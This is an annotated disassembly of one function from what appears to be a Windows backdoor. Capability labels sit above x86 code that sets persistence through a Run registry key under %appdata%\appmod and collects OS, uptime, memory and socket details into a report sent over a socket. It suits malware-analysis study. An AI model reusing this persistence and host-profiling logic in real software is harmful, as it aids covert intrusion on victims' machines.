Function at 0x10015df2
Capabilities:
Check os version
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007eb98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9ec
push esi
push edi
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 5
idiv ecx
add edx, 1
mov dword [ebp - 0x5a8], edx
push 5
push 0
lea edx, [ebp - 0x558]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x560], 0
jmp 0x10015e6c
mov eax, dword [ebp - 0x560]
add eax, 1
mov dword [ebp - 0x560], eax
mov ecx, dword [ebp - 0x560]
cmp ecx, dword [ebp - 0x5a8]
jge 0x10015e97
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x560]
mov byte [ebp + eax - 0x558], dl
jmp 0x10015e5d
push 1
mov ecx, dword [ebp - 0x5a8]
push ecx
lea edx, [ebp - 0x558]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.10004efc
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x550], 0xffffffff
mov byte [ebp - 0x8ac], 0x85
mov byte [ebp - 0x7be], 0
mov dword [ebp - 0x8a8], 0x9c
lea eax, [ebp - 0x8a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x100
lea ecx, [ebp - 0x254]
push ecx
call fcn.10015d4a
add esp, 8
mov byte [ebp - 0x4e0], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x4df]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0x4e0]
push edx
push str._appdata__appmod
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov byte [ebp - 0x9b8], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x9b7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x9b8]
push eax
lea ecx, [ebp - 0x4e0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
push 0
lea edx, [ebp - 0x4e0]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x104
push 0
lea eax, [ebp - 0x4e0]
push eax
push 1
push str.Appdata
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call fcn.100104db
add esp, 0x20
push str.appmod
lea ecx, [ebp - 0x9b8]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10015fcd
push 0x1008c648
lea edx, [ebp - 0x254]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x10015fe1
push 0x1008c654
lea eax, [ebp - 0x254]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x10
push 0
lea ecx, [ebp - 0x3c4]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x8b4], 0x10
lea edx, [ebp - 0x8b4]
push edx
lea eax, [ebp - 0x3c4]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x7f4]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x32
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x7f0]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.10015c28
mov dword [ebp - 0x80c], eax
mov dword [ebp - 0x2fc], 0x9c
lea ecx, [ebp - 0x2fc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x2f8], 5
jne 0x10016094
cmp dword [ebp - 0x2f4], 0
jne 0x10016094
push 0x1008c660
lea edx, [ebp - 0x808]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x100160bd
lea eax, [ebp - 0x9dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x9c8]
push ecx
push 0x1008c664
lea edx, [ebp - 0x808]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
call fcn.10015cee
mov byte [ebp - 0x7be], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
cdq
mov ecx, 0x5265c00
idiv ecx
push eax
push 0x1008c668
lea edx, [ebp - 0x3b0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x3b4]
cdq
mov ecx, 0x5265c00
idiv ecx
mov dword [ebp - 0x3b4], edx
mov eax, dword [ebp - 0x3b4]
cdq
mov ecx, 0x36ee80
idiv ecx
push eax
push 0x1008c66c
lea edx, [ebp - 0x54c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x3b4]
cdq
mov ecx, 0x36ee80
idiv ecx
mov dword [ebp - 0x3b4], edx
lea edx, [ebp - 0x54c]
push edx
lea eax, [ebp - 0x3b0]
push eax
push 0x1008c670
lea ecx, [ebp - 0x7b8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x7bc], edx
lea eax, [ebp - 0x3dc]
push eax
call fcn.10015c91
add esp, 4
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0
je 0x100161f6
mov ecx, dword [ebp - 0x3d0]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x3d8]
push eax
mov ecx, dword [ebp - 0x3dc]
push ecx
call fcn.10025c70
mov ecx, dword [ebp - 0x3cc]
xor esi, esi
push esi
push ecx
push edx
push eax
call fcn.10025c70
mov ecx, dword [ebp - 0x3c8]
xor esi, esi
push esi
push ecx
push edx
push eax
call fcn.10025c70
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], edx
fild qword [ebp - 0x4e8]
fdiv dword [0x1007f8a8]
fst qword [ebp - 0x9e4]
call sub.MSVCRT.dll__ftol
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x5a0], 0x40
lea edx, [ebp - 0x5a0]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x400
mov eax, dword [ebp - 0x594]
push eax
mov ecx, dword [ebp - 0x598]
push ecx
call fcn.10025bc0
push 0
push 0x400
push edx
push eax
call fcn.10025bc0
add eax, 1
adc edx, 0
mov dword [ebp - 0x34c], eax
mov dword [ebp - 0x348], edx
mov edx, dword [ebp - 0x348]
push edx
mov eax, dword [ebp - 0x34c]
push eax
push str._u_MB
lea ecx, [ebp - 0x688]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x656]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [ebp - 0x344], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x343]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
lea ecx, [ebp - 0x344]
push ecx
call fcn.10015dac
add esp, 8
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0
je 0x100162cc
push 0x20
lea edx, [ebp - 0x344]
push edx
lea eax, [ebp - 0x656]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x5f6]
push ecx
call fcn.10015b17
add esp, 4
lea ecx, [ebp - 0x304]
call fcn.1001d760
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x154]
call fcn.100176b0
lea edx, [ebp - 0x9e8]
push edx
lea ecx, [ebp - 0x260]
call fcn.100178b0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x304]
call fcn.1001d79f
call fcn.1001bf6b
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
push eax
lea ecx, [ebp - 0x260]
push ecx
lea ecx, [ebp - 0x304]
call fcn.1001de69
lea ecx, [ebp - 0x8b0]
call fcn.100178f0
push 0x40
push 0
lea edx, [ebp - 0x636]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9ec]
push eax
lea ecx, [ebp - 0x260]
call fcn.10008130
mov ecx, dword [eax]
mov dword [ebp - 0x8b0], ecx
jmp 0x1001638b
push 0
lea edx, [ebp - 0x9f0]
push edx
lea ecx, [ebp - 0x8b0]
call fcn.1001eed0
lea eax, [ebp - 0x9f4]
push eax
lea ecx, [ebp - 0x260]
call fcn.1001e9f0
push eax
lea ecx, [ebp - 0x8b0]
call fcn.1001ef00
and eax, 0xff
test eax, eax
je 0x1001640c
push 0x100953bc
lea ecx, [ebp - 0x154]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea ecx, [ebp - 0x8b0]
call fcn.10017910
push eax
lea ecx, [ebp - 0x154]
call fcn.100176d0
lea edx, [ebp - 0x154]
push edx
lea eax, [ebp - 0x636]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x1008c684
lea ecx, [ebp - 0x636]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x10016377
lea edx, [ebp - 0x154]
test edx, edx
je 0x1001642e
push 0x100953c0
lea eax, [ebp - 0x154]
push eax
call fcn.1000d980
add esp, 8
test eax, eax
jne 0x10016461
call fcn.1001c2f9
test eax, eax
je 0x1001644d
push 0x1008c688
lea ecx, [ebp - 0x636]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x10016461
push 0x1008c694
lea edx, [ebp - 0x636]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
call dword [sym.imp.MSVCRT.dll_rand]
and eax, 0x80000007
jns 0x10016473
dec eax
or eax, 0xfffffff8
inc eax
mov dword [ebp - 0x5ac], eax
push 0
mov eax, 0x300
sub eax, dword [ebp - 0x5ac]
push eax
lea ecx, [ebp - 0x8ac]
push ecx
mov ecx, dword [ebp + 0xc]
call fcn.10004efc
mov dword [ebp - 0x550], eax
mov edx, dword [ebp - 0x550]
mov dword [ebp - 0x9f8], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x260]
call fcn.1001f180
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x304]
call fcn.1001d781
mov eax, dword [ebp - 0x9f8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret